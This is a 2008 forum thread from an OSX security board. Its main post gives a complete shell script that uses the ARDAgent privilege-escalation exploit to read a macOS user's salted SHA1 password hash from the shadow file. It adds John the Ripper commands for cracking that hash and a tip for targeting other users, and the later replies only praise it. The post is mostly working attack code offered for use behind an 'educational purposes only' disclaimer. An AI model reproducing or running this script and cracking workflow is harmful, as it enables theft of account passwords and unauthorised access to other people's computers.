Home User CP Donate Chat Register Today!  
  Get New posts Faq / Help?
   


Go Back   Hackint0sh > OSX and Hackint0sh/OSX86 > OSX Security

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 07-09-2008, 02:06 AM
sam's Avatar
sam
Status: Offline
Chief of Administration
iPhone Dev Team
 
Join Date: Jun 2007
Posts: 1,337
Rep Power: 10
sam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond reputesam has a reputation beyond repute
Default [Security] Dumping and Bruteforcing Password Hashes on Leopard

From a anonymous contributor, this interesting article:

Dumping and Bruteforcing Password Hashes on Leopard

=============================================
====This is for educational purposes only, do not use maliciously====
=============================================

Like on Tiger, salted SHA1 hashes of the password can be dumped. But there is one catch: the user must have root. This can be done by using the newly found ARDAgent exploit. Attached to this post is a .sh script archived in a zip file. This script WILL NOT work if the ARDAgent exploit has been fixed on the target computer. To run the script, do the following in Terminal (/Applications/Utilities):

cd /path/to/the/folder/containing/the/script/
chmod +x passdump.sh
./passdump.sh

From there, you will see a lot of information, and then a file (named theUserName.hash.txt) will be written to your desktop containing the username of the password that is dumped and the salted SHA1 hash contained with this username. This txt file can be run through a bruteforce application named John the Ripper (http://www.openwall.com/john/). A modified build is needed for detecting this hash correctly. This build is found here:

ftp://ftp.openwall.com/pub/projects/...7.2-macosx.zip

Once you download this, just unzip it, and do the following in Terminal:

cd <Drag the unzipped folder into the window>
cd run
./john --format=salt-sha1 ~/Desktop/theUserName.hash.txt

From there, John the Ripper will bruteforce the password. The time for it to get the password will spend on the size and security of the password. Make sure you replace theUserName in the Terminal commands with the one of the file on your desktop. John should say:
Loaded 1 password hash (Salt SHA1 [salt-sha1])

Once John has gotten your password, it will display it as follows:
thePassword (theUserName)


One thing to note: If you want to dump the password of a user that is not the current user, then change this line in the passdump.sh:

CURRENTUSER=`whoami`

to:

CURRENTUSER="theUserNameToDump"


Remember, this is for educational purposes only, do not use it maliciously.

Here is the script, just put it into a file named passdump.sh:

Code:
#!/bin/sh

echo "\nWelcome."
echo "====================================================================="
echo "====This is for educational purposes only, do not use maliciously===="
echo "====================================================================="
sleep 2
echo "For this to work correctly, the ARDAgent exploit must be enabled."
echo " "
echo "Testing to see if the exploit is enabled..."
echo " "

EXPUSER=`osascript -e 'tell application "ARDAgent" to do shell script "whoami"' 2> /dev/null`

if [ "$EXPUSER" = "root" ]; then
echo "The exploit is enabled, continuing..\n"

CURRENTUSER=`whoami`

if [ "$CURRENTUSER" = "root" ]; then
echo "Getting password for user 'root' is not allowed."
echo "Please run this without being root."
exit 0
fi

echo "Getting password for the user $CURRENTUSER\n"

USERUID=`dscl localhost -read /Search/Users/$CURRENTUSER | grep GeneratedUID | sed s/GeneratedUID:\ //`

echo "The UID of $CURRENTUSER is $USERUID"

SALTEDSHA=`sh -c "osascript -e 'tell application \"ARDAgent\" to do shell script \"cat /var/db/shadow/hash/$USERUID | cut -c169-216\"'" 2> /dev/null` 

echo "The salted SHA1 hash is $SALTEDSHA\n"
echo "$CURRENTUSER:$SALTEDSHA" > ~/Desktop/$CURRENTUSER.hash.txt
echo "The password was written to ~/Desktop/$CURRENTUSER.hash.txt, which can be run through a modified John the Ripper, found here:"
echo "ftp://ftp.openwall.com/pub/projects/john/contrib/osx/john-1.7.2-macosx.zip"

else
echo "The ARDAgent exploit is not enabled, so therefore, this will not work."
exit 0
fi
__________________
If you just want to support hackint0sh.org with a donation click here.
Follow me on twitter: http://twitter.com/sam_hackint0sh

Last edited by sam; 07-09-2008 at 02:10 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #2 (permalink)  
Old 07-09-2008, 02:23 AM
pater
Status: Offline
Junior Member
 
Join Date: Jul 2008
Posts: 1
Rep Power: 0
pater is on a distinguished road
Default

Interesting…props to whoever made this.

Last edited by pater; 07-09-2008 at 02:32 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
  #3 (permalink)  
Old 08-31-2008, 12:10 PM
clint999
Status: Offline
Member
 
Join Date: May 2008
Posts: 59
Rep Power: 4
clint999 is on a distinguished road
Default

Interesting…props to whoever made this.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
Sponsored links Remove advertisements
Advertisement
Advertisement

  #4 (permalink)  
Old 09-04-2008, 01:47 AM
pipo
Status: Offline
Junior Member
 
Join Date: Aug 2008
Posts: 4
Rep Power: 0
pipo is on a distinguished road
Default

great post!!! more security threads!!!!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post!
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On




All times are GMT +2. The time now is 08:42 AM.



Powered by vBulletin® Version 3.8.2
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.3.2 Ad Management by RedTyger
follow us on Twitter!

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105